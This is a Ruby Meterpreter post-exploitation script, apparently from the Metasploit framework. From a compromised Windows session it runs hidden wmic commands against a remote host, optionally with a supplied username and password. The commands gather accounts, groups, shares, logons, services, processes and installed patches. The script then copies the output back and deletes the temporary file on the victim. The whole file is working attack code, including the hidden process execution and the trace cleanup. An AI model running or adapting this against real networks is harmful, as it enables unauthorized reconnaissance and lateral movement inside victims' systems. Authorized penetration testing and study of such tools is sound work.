# Author: Carlos Perez at carlos_perez[at]darkoperator.com
#-------------------------------------------------------------------------------
################## Variable Declarations ##################
session = client
# Variables for Options
helpcall = 0
rusr = nil
rpass = nil
trg = ""
# Script Options
@@exec_opts = Rex::Parser::Arguments.new(
  "-h"  => [ false,  "Help menu."],
  "-t"  => [ true,  "The target address"],
  "-u"  => [ true,  "User on the target system (If not provided it will use credential of process)"],
  "-p"  => [ true,  "Password of user on target system"]
)

# Create Filename info to be appended to downloaded files
filenameinfo = "_" + ::Time.now.strftime("%Y%m%d.%M%S")

# Create a directory for the logs
logs = ::File.join(Msf::Config.log_directory, 'scripts', 'remotewinenum')

# Create the log directory
::FileUtils.mkdir_p(logs)

# WMIC Commands that will be executed on the Target
wmic = [
  'environment list',
  'share list',
  'nicconfig list',
  'computersystem list',
  'useraccount list',
  'group list',
  'sysaccount list',
  'volume list brief',
  'logicaldisk get description,filesystem,name,size',
  'netlogin get name,lastlogon,badpasswordcount',
  'netclient list brief',
  'netuse get name,username,connectiontype,localname',
  'share get name,path',
  'nteventlog get path,filename,writeable',
  'service list brief',
  'process list brief',
  'startup list full',
  'rdtoggle list',
  'product get name,version',
  'qfe list'
]
################## Function Declarations ##################

# Function for running a list of WMIC commands stored in a array, returs string
def wmicexec(session,wmic,user,pass,trgt)
  print_status("Running WMIC Commands ....")
  tmpout = ''
  command = nil
  runfail = 0
  runningas = session.sys.config.getuid
  begin
    tmp = session.sys.config.getenv('TEMP')
    # Temporary file on windows host to store results
    wmicfl = tmp + "\\wmictmp#{rand(100000)}.txt"

    wmic.each do |wmi|
      if user == nil
        print_status("The commands will be ran under the credentials of #{runningas}")
        command = "/node:#{trgt} /append:#{wmicfl} #{wmi}"
      else
        command = "/user:#{user} /password:#{pass} /node:#{trgt} /append:#{wmicfl} #{wmi}"
      end
      print_status "\trunning command wimic #{wmi}"
      r = session.sys.process.execute("cmd.exe /c echo ***************************************** >> #{wmicfl}",nil, {'Hidden' => 'true'})
      sleep(1)
      r = session.sys.process.execute("cmd.exe /c echo      Output of wmic #{wmi} from #{trgt} >> #{wmicfl}",nil, {'Hidden' => 'true'})
      sleep(1)
      r = session.sys.process.execute("cmd.exe /c echo ***************************************** >> #{wmicfl}",nil, {'Hidden' => 'true'})
      sleep(1)
      #print_status "\twmic #{command}"
      r = session.sys.process.execute("cmd.exe /c wmic #{command}", nil, {'Hidden' => true})
      #Making sure that wmic finishes before executing next wmic command
      prog2check = "wmic.exe"
      found = 0
      sleep(2)
      while found == 0
        session.sys.process.get_processes().each do |x|
          found =1
          if prog2check == (x['name'].downcase)
            sleep(0.5)
            found = 0
          end
        end
      end
      r.close
    end
    # Read the output file of the wmic commands
    wmioutfile = session.fs.file.new(wmicfl, "rb")
    until wmioutfile.eof?
      tmpout << wmioutfile.read
    end
    # Close output file in host
    wmioutfile.close
  rescue ::Exception => e
    print_status("Error running WMIC commands: #{e.class} #{e}")
  end
  # We delete the file with the wmic command output.
  c = session.sys.process.execute("cmd.exe /c del #{wmicfl}", nil, {'Hidden' => true})
  c.close
  tmpout
end

#------------------------------------------------------------------------------
# Function to generate report header
def headerbuid(session,target,dest)
  # Header for File that will hold all the output of the commands
  info = session.sys.config.sysinfo
  header =  "Date:       #{::Time.now.strftime("%Y-%m-%d.%H:%M:%S")}\n"
  header << "Running as: #{client.sys.config.getuid}\n"
  header << "From:       #{info['Computer']}\n"
  header << "OS:         #{info['OS']}\n"
  header << "Target:     #{target}\n"
  header << "\n\n\n"

  print_status("Saving report to #{dest}")
  header

end

#------------------------------------------------------------------------------
# Function Help Message
def helpmsg
  print("Remote Windows Enumeration Meterpreter Script\n" +
    "This script will enumerate windows hosts in the target enviroment\n" +
    "given a username and password or using the credential under witch\n" +
    "Meterpeter is running using WMI wmic windows native tool.\n" +
    "Usage:\n" +
    @@exec_opts.usage)
end
################## MAIN ##################
if client.platform =~ /win32|win64/
  localos = session.sys.config.sysinfo

  # Check that the command is not being ran on a Win2k host
  # since wmic is not present in Windows 2000
  if localos =~ /(Windows 2000)/
    print_status("This script is not supported to be ran from Windows 2000 servers!!!")
  else
    # Parsing of Options
    @@exec_opts.parse(args) { |opt, idx, val|
      case opt

      when "-t"
        trg = val
      when "-u"
        rusr = val
      when "-p"
        rpass = val
      when "-h"
        helpmsg
        helpcall = 1
      end

    }
    #logfile name
    dest = logs + "/" + trg + filenameinfo
    # Executing main logic of the script
    if helpcall == 0 and trg != ""

      # Making sure that is running as System a Username and Password for target machine must be provided

      if is_system? && rusr == nil && rpass == nil

        print_status("Stopped: Running as System and no user provided for connecting to target!!")

      else trg != nil && helpcall != 1

        file_local_write(dest,headerbuid(session,trg,dest))
        file_local_write(dest,wmicexec(session,wmic,rusr,rpass,trg))

      end
    elsif helpcall == 0 and trg == ""

      helpmsg
    end
  end
else
  print_error("This version of Meterpreter is not supported with this Script!")
  raise Rex::Script::Completed
end
